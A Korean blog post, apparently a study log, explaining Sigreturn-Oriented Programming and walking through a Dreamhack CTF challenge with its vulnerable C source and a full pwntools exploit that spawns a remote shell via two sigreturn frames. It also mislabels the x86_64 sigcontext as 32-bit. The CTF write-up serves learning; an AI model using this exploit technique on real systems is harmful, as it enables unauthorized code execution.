SROP : Sigreturn oriented programming

shrew·2025년 4월 8일

Sigreturn system call

Concept

프로그램은 유저 모드와 커널 모드가 계속 상호작용하면서 실행된다. 따라서 유저 모드에서 커널 모드로 바뀔 때, 현재 상태를 저장해두고, 다시 유저 모드로 복귀할 때, 저장해둔 정보를 이용해 원래 상태로 되돌린다. 이 때, 사용되는 것이 sigreturn 시스템 콜이다.

Context switching
현재 프로세스가 유저 모드에서 커널 모드로 혹은 커널 모드에서 유저 모드로 바뀌는 것을 컨텍스트 스위칭이라고 한다.

sigreturn 시스템 콜이 레지스터 상태를 되돌릴 때, sigcontext 라는 구조체에 따라서 복구하게 된다. 해당 구조체는 아키텍처 마다 다르게 정의되어 있다.

Sigreturn oriented programming

Concept

sigreturn 시스템 콜을 악용하여 레지스터 값을 공격자가 자유롭게 조작할 수 있도록 하는 기법이다.

32bit vs 64bit

SROP 기법에서 사용되는 예제는 아키텍처에 따라 차이점이 있다.

64bit 환경 실습

Example code

[*] '/home/pdh/SigReturn-Oriented Programming/srop'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
// Compile: gcc -o srop srop.c -fno-stack-protector -no-pie

#include <unistd.h>

int gadget() {
  asm("pop %rax;"
      "syscall;"
      "ret" );
}

int main()
{
  char buf[16];
  read(0, buf ,1024);
}

위 코드는 위는 Dreamhack - SigReturn-Oriented Programming 문제에서 제공하는 'srop.c' 코드이다. 먼저 이 문제를 분석해보자.

  1. 시스템 콜을 호출할 수 있는 gadget 함수가 존재한다.
  2. 'buf' 변수가 16bytes 크기로 정의되었는데 읽을 때는 1024bytes 만큼 읽는다. 즉, 버퍼 오버플로우 취약점이 있다.

익스플로잇 코드 순서는 다음과 같다.

  1. sigreturn 프레임에 read 함수를 호출하도록 설정한 뒤, sigreturn 시스템 콜을 호춣한다.
  2. sigreturn 프레임에 excve('/bin/sh') 함수를 호출하도록 설정한 뒤, sigreturn 시스템 콜을 호출한다.

sigreturn 프레임은 SigreturnFrame() 객체를 통해 조작할 수 있다.

struct sigcontext {
    unsigned long r8;
    unsigned long r9;
    unsigned long r10;
    unsigned long r11;
    unsigned long r12;
    unsigned long r13;
    unsigned long r14;
    unsigned long r15;
    unsigned long rdi;
    unsigned long rsi;
    unsigned long rbp;
    unsigned long rbx;
    unsigned long rdx;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rsp;
    unsigned long rip;
    unsigned long eflags;
    unsigned short cs;
    unsigned short gs;
    unsigned short fs;
    unsigned short __pad0;
    unsigned long err;
    unsigned long trapno;
    unsigned long oldmask;
    unsigned long cr2;
};

위는 리눅스 32bit 아키텍처에서의 sigcontext 구조체이다.

Exploit code

from pwn import *
context.arch = 'x86_64'
p = remote('서버명', 포트 번호)
e = ELF('./srop')
gadget = next(e.search(asm('pop rax; syscall')))
syscall = next(e.search(asm('syscall')))
read_got = e.got['read']
binsh = '/bin/sh\x00'
bss = e.bss()

frame = SigreturnFrame()
frame.rax = 0
frame.rsi = bss
frame.rdx = 0x1000
frame.rdi = 0
frame.rip = syscall
frame.rsp = bss

payload = b'A' * 16
payload += b'B' * 8
payload += p64(gadget)
payload += p64(15)
payload += bytes(frame)

p.sendline(payload)

frame2 = SigreturnFrame()
frame2.rax = 0x3b
frame2.rip = syscall
frame2.rdi = bss + 0x108

payload2 = p64(gadget)
payload2 += p64(15)
payload2 += bytes(frame2)
payload2 += b'/bin/sh\x00'

p.sendline(payload2)
p.interactive()

위 익스코드의 실행 흐름을 살펴보자.

  1. 'frame'에 다음으로 read(0, bss, 0x1000) 명령을 수행하도록 설정해 준다.
  2. sigreturn 시스템 콜을 이용해서 레지스터를 설정해둔 'frame'으로 조작한다.
  3. 'frame2'에 다음으로 excve('/bin/sh') 명령을 수행하도록 설정해 준다. (rdi = bss + 8bytes(gadget 주소) + 8bytes(p64(15) 값) + 248bytes(프레임 크기))
  4. read 함수가 실행되면서 payload2를 입력 값으로 넣어준다.
  5. 'frame'에서 rsp 레지스터 값을 bss로 넣었기 때문에 bss 위치에 있는 명령이 실행된다. 즉, payload2가 실행되면서 sigreturn 시스템 콜을 이용해서 레지스터를 설정해둔 'frame2'으로 조작된다.
  6. excve('/bin/sh')가 수행되며 셸이 따진다.
profile
보안 공부 로그

0개의 댓글